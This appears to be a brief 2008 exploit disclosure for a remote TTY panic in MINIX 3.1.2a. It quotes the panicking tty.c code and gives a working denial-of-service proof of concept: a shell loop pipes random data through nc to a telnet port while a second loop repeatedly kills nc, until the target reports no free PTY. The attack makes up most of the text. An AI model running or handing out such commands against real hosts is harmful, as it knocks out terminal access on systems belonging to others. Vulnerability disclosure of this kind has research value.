minix version 3.1.2a suffers from a remote tty panic vulnerability.
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Hello again, another day..
# kokanin@gmail 20080724
# minix 3.1.2a remote tty panic
trunk/src/drivers/tty/tty.c
14965 if ((status = send(replyee, &tty_mess)) != OK) {
14966 panic("TTY","tty_reply failed, status\n", status);
$ (while true ; do sleep 1 && killall nc 2>/dev/null; done) &
$ while true ; do cat /dev/urandom | nc 192.168.1.42 23 ; done
[snip garbage]
I am sorry, but there is no free PTY left!
$ fg
$ ^C
hai, no moar pty, remotely, kthxbye
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kokanin